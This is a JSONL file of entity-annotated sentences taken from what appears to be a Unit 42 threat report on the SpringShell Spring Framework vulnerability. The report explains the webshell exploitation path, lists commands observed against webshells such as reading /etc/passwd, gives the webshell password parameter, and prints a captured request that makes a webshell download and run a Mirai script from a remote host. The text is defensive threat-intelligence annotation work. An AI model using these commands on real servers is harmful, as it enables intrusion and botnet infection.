-{"id":2409,"text":"Additional Resources Indicators   Existing proofs of concept (PoCs) for exploitation work under the following conditions:  Any Java application using Spring Beans packet (spring-beans-*.jar) and using Spring parameters binding could be affected by this vulnerability.","entities":[{"id":45503,"label":"SOFTWARE","start_offset":150,"end_offset":162},{"id":45504,"label":"SOFTWARE","start_offset":201,"end_offset":207},{"id":45505,"label":"SOFTWARE","start_offset":127,"end_offset":143},{"id":47489,"label":"FILEPATH","start_offset":171,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":2410,"text":" The Spring Framework is an open-source application framework and inversion of the control container for the Java platform.","entities":[{"id":47490,"label":"SOFTWARE","start_offset":5,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":2411,"text":"It is widely used in the industry by various programs and systems due to its powerful features and ease of use.","entities":[],"relations":[],"Comments":[]}
-{"id":2412,"text":"Some well-known products such as Spring Boot and Spring Cloud are developed with the Spring Framework.","entities":[{"id":45506,"label":"SOFTWARE","start_offset":33,"end_offset":44},{"id":45508,"label":"SOFTWARE","start_offset":85,"end_offset":101},{"id":45507,"label":"SOFTWARE","start_offset":49,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":2413,"text":" The Spring Core (spring-core) is the core of the framework that provides powerful features such as inversion of control and dependency injection.","entities":[{"id":47491,"label":"SOFTWARE","start_offset":5,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":2414,"text":"It contains the core, beans, context and Spring Expression Language (SpEL) modules.","entities":[{"id":47492,"label":"SOFTWARE","start_offset":41,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":2415,"text":" The vulnerability is caused by the getCachedIntrospectionResults method of the Spring framework wrongly exposing the class object when binding the parameters.","entities":[{"id":45509,"label":"SOFTWARE","start_offset":80,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":2416,"text":" The default Spring data binding mechanism allows developers to bind HTTP request details to application-specific objects.","entities":[{"id":47493,"label":"SOFTWARE","start_offset":13,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":2417,"text":"For example, there is a simple classical application scenario in which the developer creates a trade object to capture request parameters as shown in Figure 1.","entities":[],"relations":[],"Comments":[]}
-{"id":2418,"text":" Then the developer creates a controller to use the object trade as shown in Figure 2.  After that, the developer usually creates a request builder for the trade controller, which allows the web user to access the trade object remotely as shown in Figure 3.","entities":[],"relations":[],"Comments":[]}
-{"id":2419,"text":" When web users access trade object properties, the binding process (bindRequestParameters) in the Spring framework implementation will call the getCachedIntrospectionResults method to get and set the object property in the cache.","entities":[{"id":47494,"label":"SOFTWARE","start_offset":99,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":2420,"text":"However, the return object of the getCachedIntrospectionResults method includes a class object.","entities":[],"relations":[],"Comments":[]}
-{"id":2421,"text":"This means that web users can get a class object remotely by simply submitting a URL as shown in Figure 4.","entities":[],"relations":[],"Comments":[]}
-{"id":2422,"text":" Exposing the class object to web users is very dangerous and can lead to RCE in many ways.","entities":[],"relations":[],"Comments":[]}
-{"id":2423,"text":"The class loader is often used by exploiting payloads to load some sensitive classes dynamically for object modification and code execution.","entities":[{"id":47495,"label":"attack-pattern","start_offset":34,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":2424,"text":"One easy way to get RCE is using the exposed class loader to modify the Tomcat log configuration and remotely upload a JSP web shell after changing the Tomcat log configuration.","entities":[{"id":45511,"label":"SOFTWARE","start_offset":152,"end_offset":158},{"id":7258,"label":"attack-pattern","start_offset":123,"end_offset":132},{"id":47496,"label":"SOFTWARE","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":2425,"text":"One example of changing the Tomcat log configuration by simply submitting a URL is shown in Figure 5.","entities":[{"id":47497,"label":"SOFTWARE","start_offset":28,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":2426,"text":"This is the exploit method used in the public PoC for the SpringShell vulnerability.","entities":[{"id":47498,"label":"vulnerability","start_offset":58,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":2427,"text":"Early in 2010, CVE-2010-1622 was assigned to a remote code execution vulnerability in the Spring Framework.","entities":[{"id":45513,"label":"vulnerability","start_offset":15,"end_offset":28},{"id":45514,"label":"SOFTWARE","start_offset":90,"end_offset":106},{"id":45515,"label":"attack-pattern","start_offset":47,"end_offset":68},{"id":45512,"label":"TIME","start_offset":0,"end_offset":13}],"relations":[{"id":106,"from_id":45514,"to_id":45513,"type":"has"},{"id":107,"from_id":45515,"to_id":45513,"type":"uses"}],"Comments":[]}
-{"id":2428,"text":"This vulnerability was due to the lack of proper check on the provided PropertyDescriptor in CachedIntrospectionResults() so that class.classLoader is allowed to be utilized to modify the search path of the system's class loader and cause the program to invoke remote Java code.","entities":[],"relations":[],"Comments":[]}
-{"id":2429,"text":"For this vulnerability, the class loader plays a vital role in the exploitation.","entities":[],"relations":[],"Comments":[]}
-{"id":2430,"text":" In the Spring Framework version 2.5.6.SEC02, the vulnerability was fixed.","entities":[{"id":45516,"label":"SOFTWARE","start_offset":9,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":2431,"text":"However, while the original way of obtaining the class loader and exploiting it no longer works, a new feature of JDK was introduced in version 9, providing another way to obtain the class loader and making the exploit possible again.","entities":[{"id":47499,"label":"SOFTWARE","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":2432,"text":" The code snippet seen in Figure 6 shows the fix to CVE-2010-1622.","entities":[{"id":47500,"label":"vulnerability","start_offset":52,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":2433,"text":"The fix is to use a block list to exclude two methods: Class.getClassLoader() and getProtectionDomain() as highlighted in Figure 6.","entities":[],"relations":[],"Comments":[]}
-{"id":2434,"text":"But using a block list runs the risk of being bypassed by the cases not on the list.","entities":[],"relations":[],"Comments":[]}
-{"id":2435,"text":"And the Java 9 Platform Module System (JPMS) provides a way to bypass this block list.","entities":[{"id":47501,"label":"SOFTWARE","start_offset":8,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":2436,"text":" The newly added module property makes it possible to modify the logging configuration so that a JSP webshell can be written into the web host folder via the logging function as shown in Figure 7.","entities":[{"id":47502,"label":"SOFTWARE","start_offset":97,"end_offset":100},{"id":47503,"label":"attack-pattern","start_offset":101,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":2437,"text":" Figure 8 shows the payload drops a password-protected webshell in the Tomcat ROOT directory called shell7.jsp.","entities":[{"id":47504,"label":"SOFTWARE","start_offset":71,"end_offset":77},{"id":47505,"label":"FILEPATH","start_offset":100,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":2438,"text":" Attackers can then invoke any command through the JSP webshell.","entities":[{"id":47507,"label":"attack-pattern","start_offset":55,"end_offset":63},{"id":47506,"label":"SOFTWARE","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":2439,"text":"Figure 9 shows the example of executing Netcat to establish a reverse shell to a remote server on the compromised server.","entities":[{"id":7297,"label":"tools","start_offset":40,"end_offset":46},{"id":47508,"label":"attack-pattern","start_offset":50,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":2440,"text":" Exploit code for this remote code execution vulnerability has been made publicly available.","entities":[{"id":47509,"label":"attack-pattern","start_offset":23,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":2441,"text":"Unit 42 first observed scanning traffic early on March 30, 2022 with HTTP requests to servers that included the test strings within the URL.","entities":[{"id":47510,"label":"identity","start_offset":0,"end_offset":7},{"id":47511,"label":"TIME","start_offset":49,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":2442,"text":"Figure 10 shows an example of the early scanning activity.","entities":[],"relations":[],"Comments":[]}
-{"id":2443,"text":" While testing our Threat Prevention signatures, we observed additional scanning activity that included the exploit code within the data section of the HTTP POST request, as seen in Figure 11.","entities":[],"relations":[],"Comments":[]}
-{"id":2444,"text":" Once we deployed the Threat Prevention signatures, we analyzed the packet captures associated with our \"Spring Core Remote Code Execution Vulnerability\" signature and found that a majority of the activity was likely generated by variations of the publicly available PoC tools.","entities":[{"id":47512,"label":"vulnerability","start_offset":105,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":2445,"text":"Our analysis shows that the following filenames would store the webshell contents on the server in the event of successful exploitation:  0xd0m7.jsp myshell.jsp shell.jsp tomcatwar.jsp wpz.jsp  The webshell contents written to these files are very similar to the code included in the publicly available PoC as well.","entities":[{"id":47515,"label":"FILEPATH","start_offset":161,"end_offset":170},{"id":47516,"label":"FILEPATH","start_offset":171,"end_offset":184},{"id":47513,"label":"FILEPATH","start_offset":138,"end_offset":148},{"id":47514,"label":"FILEPATH","start_offset":149,"end_offset":160},{"id":47517,"label":"FILEPATH","start_offset":185,"end_offset":192}],"relations":[],"Comments":[]}
-{"id":2446,"text":"There are two variants of the webshell.","entities":[],"relations":[],"Comments":[]}
-{"id":2447,"text":"One was included in the PoC and uses the pwd parameter for authentication (password is always j) and the cmd parameter for the command to execute.","entities":[],"relations":[],"Comments":[]}
-{"id":2448,"text":"The second variant does not use a parameter for authentication and uses id for the command to execute.","entities":[],"relations":[],"Comments":[]}
-{"id":2449,"text":"Table 1 shows the parameters that the webshell saved to the server would use for authentication and command and how many times we saw them.","entities":[],"relations":[],"Comments":[]}
-{"id":2450,"text":" Table 1. Parameters used by webshells seen in hits on \"Spring Core Remote Code Execution Vulnerability\" signature.","entities":[{"id":47518,"label":"vulnerability","start_offset":56,"end_offset":103},{"id":47519,"label":"attack-pattern","start_offset":29,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":2451,"text":" We searched our telemetry for activity to webshells using the file names associated with the SpringShell activity, with the noted exception of shell.jsp, which is far too general.","entities":[{"id":45518,"label":"FILEPATH","start_offset":144,"end_offset":153},{"id":45517,"label":"vulnerability","start_offset":94,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":2452,"text":"We have seen the unique commands listed below submitted to webshells.","entities":[{"id":47520,"label":"attack-pattern","start_offset":59,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":2453,"text":"Of these, only the two commands involving \/etc\/passwd would possibly suggest malicious intent for exploitation – the rest of the commands suggest general scanning activity.","entities":[{"id":47521,"label":"FILEPATH","start_offset":42,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":2454,"text":"ls nslookup%20[redacted].test6.ggdd[.]co[.]uk nslookup+[redacted].test6.ggdd[.]co[.]uk ping%20[redacted].test6.ggdd[.]co[.]uk ping+[redacted].test6.ggdd[.]co[.]uk whoami cat%20\/etc\/passwd cat+\/etc\/passwd id ifconfig ipconfig ping%20[redacted].burpcollaborator[.]net  ","entities":[{"id":45521,"label":"FILEPATH","start_offset":192,"end_offset":203},{"id":45522,"label":"DOMAIN","start_offset":233,"end_offset":265},{"id":45523,"label":"DOMAIN","start_offset":131,"end_offset":161},{"id":45524,"label":"DOMAIN","start_offset":14,"end_offset":45},{"id":45525,"label":"DOMAIN","start_offset":55,"end_offset":86},{"id":45520,"label":"FILEPATH","start_offset":176,"end_offset":187},{"id":45526,"label":"DOMAIN","start_offset":94,"end_offset":125},{"id":7335,"label":"tools","start_offset":207,"end_offset":215},{"id":7336,"label":"tools","start_offset":216,"end_offset":224},{"id":47522,"label":"tools","start_offset":163,"end_offset":169},{"id":47523,"label":"tools","start_offset":46,"end_offset":54},{"id":47525,"label":"tools","start_offset":87,"end_offset":91},{"id":47526,"label":"tools","start_offset":126,"end_offset":130},{"id":47524,"label":"tools","start_offset":3,"end_offset":11},{"id":47527,"label":"tools","start_offset":225,"end_offset":229}],"relations":[],"Comments":[]}
-{"id":2455,"text":"Our Spring Core Remote Code Execution Vulnerability signature was released in the early hours of March 31.","entities":[{"id":47528,"label":"vulnerability","start_offset":4,"end_offset":51},{"id":47529,"label":"TIME","start_offset":82,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":2456,"text":"On April 7, we collected the seven days’ worth of activity since the signature release and found that the signature had triggered 43,092 times.","entities":[{"id":47530,"label":"TIME","start_offset":3,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":2457,"text":"Figure 12 shows the steady increase of total hits from March 31 until April 3, a fairly significant decrease on April 4, followed by an incline in activity on April 5 and 6.","entities":[{"id":45527,"label":"TIME","start_offset":55,"end_offset":63},{"id":45528,"label":"TIME","start_offset":70,"end_offset":77},{"id":45529,"label":"TIME","start_offset":112,"end_offset":119},{"id":45530,"label":"TIME","start_offset":159,"end_offset":172}],"relations":[],"Comments":[]}
-{"id":2458,"text":"At this time, we have yet to confirm any successful exploitation attempts that led to a webshell installed onto the server outside of testing activity using purposefully vulnerable applications.","entities":[],"relations":[],"Comments":[]}
-{"id":2459,"text":" We observed a large amount of unique IP addresses during our analysis – with 2,056 addresses triggering the Spring Core Remote Code Execution Vulnerability signature.","entities":[{"id":47531,"label":"vulnerability","start_offset":109,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":2460,"text":"Table 2 shows the top 15 IP addresses seen as the source that triggered our signature, which accounts for just over 50% of all of the activity we observed.","entities":[],"relations":[],"Comments":[]}
-{"id":2461,"text":" Table 2. Top 15 source IPs triggering the Spring Core Remote Code Execution Vulnerability signature.","entities":[{"id":47532,"label":"vulnerability","start_offset":43,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":2462,"text":" We were able to analyze 31,953 packet captures that triggered the Spring Core Remote Code Execution Vulnerability signature to determine the webshell filenames and the webshell contents that would be saved to the server in the event of successful exploitation.","entities":[{"id":47533,"label":"vulnerability","start_offset":67,"end_offset":114},{"id":47534,"label":"attack-pattern","start_offset":142,"end_offset":150},{"id":47535,"label":"attack-pattern","start_offset":169,"end_offset":177}],"relations":[],"Comments":[]}
-{"id":2463,"text":"In many cases, the webshell file names had .jsp extensions, which would allow for a successful exploitation to install a working webshell.","entities":[{"id":47536,"label":"attack-pattern","start_offset":129,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":2464,"text":"However, in many cases the filename had an extension that would not support a webshell, such as .js and .txt, which we believe was used just to mark the presence of a successful file upload as part of vulnerable server discovery efforts.","entities":[],"relations":[],"Comments":[]}
-{"id":2465,"text":"At the time of writing, we have observed 95 unique webshell filenames, which we have included in the indicators section.","entities":[],"relations":[],"Comments":[]}
-{"id":2466,"text":"  A majority of the activity used the tomcarwar.jsp filename that was used in the initial PoC script, which accounted for over 57% of the filenames observed.","entities":[],"relations":[],"Comments":[]}
-{"id":2467,"text":"In fact, the top three filenames – tomcarwar.jsp, checkexploit.jsp and javatestfila.jsp – account for over 84% of the activity with known webshell filenames.","entities":[{"id":47537,"label":"FILEPATH","start_offset":35,"end_offset":48},{"id":47539,"label":"FILEPATH","start_offset":71,"end_offset":87},{"id":47538,"label":"FILEPATH","start_offset":50,"end_offset":66},{"id":47540,"label":"attack-pattern","start_offset":138,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":2468,"text":"The pie chart in Figure 13 shows a high-level breakdown of the most common filenames.","entities":[],"relations":[],"Comments":[]}
-{"id":2469,"text":" A majority of the packets we analyzed showed the webshell contents did not differ far from the webshell seen in the original proof-of-concept script, which can be seen in Figure 14.","entities":[],"relations":[],"Comments":[]}
-{"id":2470,"text":"Another very common webshell seen within our telemetry is the exact same with different HTTP parameters and values used by the webshell, as seen in Figure 15.","entities":[{"id":47542,"label":"attack-pattern","start_offset":20,"end_offset":28},{"id":47541,"label":"attack-pattern","start_offset":127,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":2471,"text":"  We also observed a significant amount of exploit attempts using content that again was a modification of the initial webshell in the proof-of-concept.","entities":[{"id":47543,"label":"attack-pattern","start_offset":119,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":2472,"text":"Figure 16 shows the contents that we observed in the wild, which should not be considered a webshell as it does nothing more than display SPRING_CORE_RCE.","entities":[{"id":47544,"label":"attack-pattern","start_offset":92,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":2473,"text":"The lack of webshell functionality suggests that this is likely uploaded by scanners attempting to discover servers vulnerable to SpringShell.","entities":[{"id":47545,"label":"attack-pattern","start_offset":12,"end_offset":20},{"id":47546,"label":"vulnerability","start_offset":130,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":2474,"text":" More recently, we have seen an uptick in webshell content as seen in Figure 17, which is related to another proof-of-concept script created by K3rwin.","entities":[{"id":47547,"label":"identity","start_offset":144,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":2475,"text":"This particular webshell will load a base64 encoded class that will contain the functionality desired by the actor.","entities":[],"relations":[],"Comments":[]}
-{"id":2476,"text":"This particular webshell is based on AntSword’s shell.jsp, which was modified to use a parameter of k3rwin instead of ant to load the class.","entities":[{"id":7400,"label":"tools","start_offset":37,"end_offset":45},{"id":47549,"label":"identity","start_offset":100,"end_offset":106},{"id":47548,"label":"FILEPATH","start_offset":48,"end_offset":57}],"relations":[{"id":336,"from_id":7400,"to_id":47548,"type":"consists-of"}],"Comments":[]}
-{"id":2477,"text":" The only malicious activity we have seen in our telemetry related to SpringShell involves HTTP requests to URLs containing the tomcatwar.jsp filename associated with the SpringShell proof-of-concept script.","entities":[{"id":47550,"label":"vulnerability","start_offset":70,"end_offset":81},{"id":47551,"label":"FILEPATH","start_offset":128,"end_offset":141},{"id":47552,"label":"vulnerability","start_offset":171,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":2478,"text":"The activity involved parameters issued to the webshell that would run a command to download and execute a script from a remote server as seen in the following:  [redacted IPV4 address]:8080\/tomcatwar.jsp?pwd=j&cmd=\/bin\/sh\/-c${IFS}'cd${IFS}\/tmp;wget${IFS}hxxp:\/\/107.174.133[.]167\/t.sh${IFS}-O-%a6sh${IFS}SpringCore;'  ","entities":[{"id":45532,"label":"URL","start_offset":162,"end_offset":317}],"relations":[],"Comments":[]}
-{"id":2479,"text":"Upon further analysis, the t.sh script hosted on this remote server is related to the Mirai botnet.","entities":[{"id":47554,"label":"FILEPATH","start_offset":27,"end_offset":31},{"id":47553,"label":"malware","start_offset":86,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":2480,"text":"The requests above were sent from the IP address ​​194.31.98[.]186, which itself has hosted payloads associated with Mirai as well.","entities":[{"id":47555,"label":"IPV4","start_offset":51,"end_offset":66},{"id":47556,"label":"malware","start_offset":117,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":2481,"text":"Inbound attempts to exploit the SpringShell vulnerability from 194.31.98[.]186 attempted to install the webshell from the original proof-of-concept seen in Figure 14.","entities":[{"id":45533,"label":"IPV4","start_offset":63,"end_offset":78},{"id":47557,"label":"attack-pattern","start_offset":104,"end_offset":112},{"id":47558,"label":"vulnerability","start_offset":32,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":2482,"text":"Our signatures blocked the initial attempt to exploit the vulnerability so we cannot confirm if Mirai’s attempts to exploit SpringShell have been successful.","entities":[{"id":47559,"label":"malware","start_offset":96,"end_offset":101},{"id":47560,"label":"vulnerability","start_offset":124,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":2483,"text":"Both Netlab 360 and Trend Micro also observed Mirai activity related to the SpringShell vulnerability.","entities":[{"id":47561,"label":"identity","start_offset":5,"end_offset":15},{"id":47562,"label":"identity","start_offset":20,"end_offset":31},{"id":47563,"label":"malware","start_offset":46,"end_offset":51},{"id":47564,"label":"vulnerability","start_offset":76,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":2484,"text":"In addition to our threat prevention signatures, we analyzed the alerts triggered in Cortex XDR and found 116 events between April 4 and April 8.","entities":[{"id":45534,"label":"SOFTWARE","start_offset":85,"end_offset":95},{"id":45536,"label":"TIME","start_offset":137,"end_offset":144},{"id":45535,"label":"TIME","start_offset":125,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":2485,"text":"A majority of these alerts are triggered by testing of the proof-of-concept tools previously mentioned above.","entities":[],"relations":[],"Comments":[]}
-{"id":2486,"text":"We also observed several alerts involving a docker container named spring4shell, which had a \/helloworld directory and had a listening port tcp\/8080.","entities":[{"id":47565,"label":"vulnerability","start_offset":67,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":2487,"text":"We believe these docker containers are also part of internal testing efforts using publicly available docker containers, such as Spring4Shell-POC.","entities":[{"id":45537,"label":"vulnerability","start_offset":129,"end_offset":145}],"relations":[],"Comments":[]}
-{"id":2488,"text":"The signature triggered on the creation of the webshell files, of which we observed the following file written:  \/usr\/local\/tomcat\/work\/Catalina\/localhost\/ROOT\/org\/apache\/jsp\/shell_jsp.java \/usr\/local\/tomcat\/webapps\/ROOT\/shell_.jsp  SpringShell is officially assigned CVE-2022-22965, and the patch was released on March 31, 2022.","entities":[{"id":47567,"label":"FILEPATH","start_offset":190,"end_offset":231},{"id":47568,"label":"vulnerability","start_offset":268,"end_offset":282},{"id":47570,"label":"vulnerability","start_offset":233,"end_offset":244},{"id":47566,"label":"FILEPATH","start_offset":113,"end_offset":189},{"id":47569,"label":"TIME","start_offset":314,"end_offset":328},{"id":47571,"label":"attack-pattern","start_offset":47,"end_offset":55}],"relations":[{"id":337,"from_id":47570,"to_id":47568,"type":"related-to"},{"id":339,"from_id":47570,"to_id":47567,"type":"consists-of"},{"id":340,"from_id":47570,"to_id":47566,"type":"consists-of"}],"Comments":[]}
-{"id":2489,"text":"Since exploitation is straightforward and all the relevant technical details have already gone viral on the internet, it’s possible that SpringShell will become fully weaponized and abused on a larger scale.","entities":[{"id":47572,"label":"vulnerability","start_offset":137,"end_offset":148}],"relations":[],"Comments":[]}
-{"id":2490,"text":"Developers and users who have projects or products based on JDK9+ and the Spring Framework (or its derivatives) are strongly urged to patch as soon as possible.","entities":[{"id":45538,"label":"SOFTWARE","start_offset":60,"end_offset":65},{"id":45539,"label":"SOFTWARE","start_offset":74,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":2491,"text":" While CVE-2022-22963 is a different vulnerability in Spring Cloud Function (not technically part of SpringShell), a Threat Prevention signature is also available to ensure coverage at the perimeter.","entities":[{"id":47575,"label":"vulnerability","start_offset":101,"end_offset":112},{"id":47573,"label":"vulnerability","start_offset":7,"end_offset":21},{"id":47574,"label":"SOFTWARE","start_offset":54,"end_offset":66}],"relations":[{"id":341,"from_id":47574,"to_id":47573,"type":"has"}],"Comments":[]}
-{"id":2492,"text":"Unit 42 researchers are proactively monitoring info related to other recently disclosed Spring vulnerabilities and will proceed to provide coverage as soon as more info has become available.","entities":[{"id":7440,"label":"identity","start_offset":0,"end_offset":7},{"id":47576,"label":"SOFTWARE","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":2493,"text":" Unit 42 is actively monitoring malicious traffic through our devices and cloud solutions.","entities":[{"id":45540,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":2494,"text":" The Palo Alto Networks Product Security Assurance team is evaluating CVE-2022-22963 and CVE-2022-22965 as relates to Palo Alto Networks products and currently assigns this a severity of none.","entities":[{"id":47577,"label":"identity","start_offset":5,"end_offset":55},{"id":47578,"label":"vulnerability","start_offset":70,"end_offset":84},{"id":47580,"label":"identity","start_offset":118,"end_offset":136},{"id":47579,"label":"vulnerability","start_offset":89,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":2495,"text":" Palo Alto Networks Next-Generation Firewall with a Threat Prevention subscription can block the attack traffic related to this vulnerability.  Palo Alto Networks Prisma Cloud can detect the presence of both CVE-2022-22965 and CVE-2022-22963 across all Compute environments.","entities":[{"id":47583,"label":"vulnerability","start_offset":208,"end_offset":222},{"id":47582,"label":"SOFTWARE","start_offset":144,"end_offset":175},{"id":47581,"label":"SOFTWARE","start_offset":2,"end_offset":69},{"id":47584,"label":"vulnerability","start_offset":227,"end_offset":241}],"relations":[],"Comments":[]}
-{"id":2496,"text":"Palo Alto Networks Cortex XDR Prevent and Pro customers running agent version 7.4 and above with content version 450-87751 on Linux devices are protected from CVE-2022-22963 using the Java Deserialization module; customers running agent version 7.7 and content 480 and above are protected from CVE-2022-22963 and CVE-2022-22965 for both Windows and Linux using the Java Deserialization module; other OSes and exploits receive protections from post-exploitation activities using Behavioral Threat Protection, Password Theft Prevention, Anti Ransomware and other Anti Exploitation modules.","entities":[{"id":47587,"label":"vulnerability","start_offset":159,"end_offset":173},{"id":47585,"label":"SOFTWARE","start_offset":0,"end_offset":45},{"id":47588,"label":"SOFTWARE","start_offset":184,"end_offset":211},{"id":47590,"label":"vulnerability","start_offset":313,"end_offset":327},{"id":47591,"label":"SOFTWARE","start_offset":337,"end_offset":344},{"id":47593,"label":"SOFTWARE","start_offset":365,"end_offset":392},{"id":47586,"label":"SOFTWARE","start_offset":126,"end_offset":131},{"id":47589,"label":"vulnerability","start_offset":294,"end_offset":308},{"id":47592,"label":"SOFTWARE","start_offset":349,"end_offset":354}],"relations":[{"id":342,"from_id":47587,"to_id":47588,"type":"related-to"}],"Comments":[]}
-{"id":2497,"text":"Cortex XDR Pro customers also have visibility into post-exploitation activities and can specifically track the “Process execution with a suspicious command line indicative of the Spring4Shell exploit” and “Suspicious HTTP Request to a vulnerable Java class” Analytics BIOCs.","entities":[{"id":47598,"label":"vulnerability","start_offset":206,"end_offset":256},{"id":47599,"label":"vulnerability","start_offset":112,"end_offset":199},{"id":47594,"label":"SOFTWARE","start_offset":0,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":2498,"text":"Furthermore, customers can create a BIOC from an XQL query looking for the dropped webshell IoCs to detect exploitation attempts in their environments.","entities":[{"id":47600,"label":"attack-pattern","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":2499,"text":" Palo Alto Networks Cortex XSOAR customers can leverage the \"Spring Core and Cloud Function SpEL RCEs\" pack to automatically detect and mitigate the vulnerabilities.","entities":[{"id":47597,"label":"vulnerability","start_offset":61,"end_offset":101},{"id":47596,"label":"SOFTWARE","start_offset":1,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":2500,"text":"Read more on the XSOAR marketplace.","entities":[{"id":47601,"label":"SOFTWARE","start_offset":17,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":2501,"text":"Prisma Cloud Mitigations for SpringShell and Recent Spring Vulnerabilities: CVE-2022-22963, CVE-2022-22965 How Cortex XDR Blocks SpringShell Exploits  0808a56a90ca2f8b1e91a1e60b7b451e.txt 0c901fefcae46ba984225aa72df0825c.txt 1532b681733b6bce2ff7252d8890d550.txt 28fcea06661f13ebe9c87327f949f3a8.txt 2b98432e352ff74569b81099dd5ee246.txt 4acbedbe977480d19b7b682d4878cae2.txt 4fdd6fbd220e26b63a7c9a5aa88f5f31.txt 5657e4634210a3d47a789d1389a89320.txt 646bbc2c112070c26b3c042e81c6947e.txt 70b98d30e383df910ce3d693603404fb.txt 73be7d1ef52c3dbc9a5d726288d8a4ba.txt 83d81ef47f0e9a205fb66a100f3179bf.txt 8592f3e430720d324d7cfd7ecd1de521.txt 8697f146477832389449cf2548032ca7.txt Shell.jsp UJaez.jsp Y4kws.jsp a6bfc76094f689dab978f059ea2456a1.txt aniwvzgvwqnwtehgsfsgbslwoiqkjk.jsp appli12 baf24e5f9fc18cf58172d1ba745f0f7a.txt c41fc8f359d1658559c2d1c0043c76fb.txt cbsewlaeqsdsqktavziakyzsuwfciu.jsp czbwzitpzjzkcvkrirybzihsibmuej.jsp czpdnhpraxgzrtatiuigsalfedwwit.jsp dnuurzjtlbjrnuukwdmaltqrqqlaig.jsp duvdqpoyrcapqbfcetgwsqxfkslubw.jsp ee947d98b91c8ada08f8c15e8f3248fc.txt efdde87c66fe4e6dc73a2ab6111ca58a.txt facb4be5385617bf11e6d67f0aa0203b.txt ggoibjvztvlpelaghjzeweqmopjosz.jsp goocmasqxwfufyxrgyachwidxdotkh.jsp hlbpgpqsyracfnvkgrgvlhcptpmdfn.jsp hmmyitbecwhmrdicykmfvqlcsknbff.jsp hnmqeuzumlokxuhqyekeetrgougeof.jsp ilvckpgzbrcdljyqdfhqendqcwhgxp.jsp izodfyvqujwztweclykgozahdlqvqp.jsp jynrrkjghebemkrhvfzllrepzosinb.jsp kqbnngrfnsxlreajyknuimoamysvwt.jsp ltcovlwqkckjpuzbqzbjdpkgkakvno.jsp mhoqqvpuxdqtuqzmwdrvdeayqvlygb.jsp osanxuadyvjaiorcjfqnckfpewunnt.jsp ptipfhjosfvrfwndwqccapozcbasge.jsp pxwcqxzrstepmbwufjxuaydkwgmvds.jsp qnzfvqpeiljtoyvrywrkuvkrmuewzn.jsp rQFlA.jsp rmdwahilztwhhqnmcbodkgtbnmrhjx.jsp tomcat74935.jsp ubekdurthzexowlohzgienbwvexynd.jsp ufoubgkazumxhqvwlnyfejnmyqofcm.jsp ujpmauuhltvsokjracgwkbflkhhnwo.jsp vkmckfvljtpbyowxwhgbjsvyktfdiq.jsp xcoihpiouaamtnbqqvcvffyxyrokvn.jsp yjjhhdlxepozhirznemjabnsciycvv.jsp yutugdqbrossntwaujgxwgrpgczkbd.jsp zawpiupzzsjexllfbicrgvlcuxzqyb.jsp zqgwtzyrexctiyvsawmwttncwzoyyd.jsp zuvuegtemzfsyqjfykowggxpqkuqdp.jsp 0xd0m7.jsp 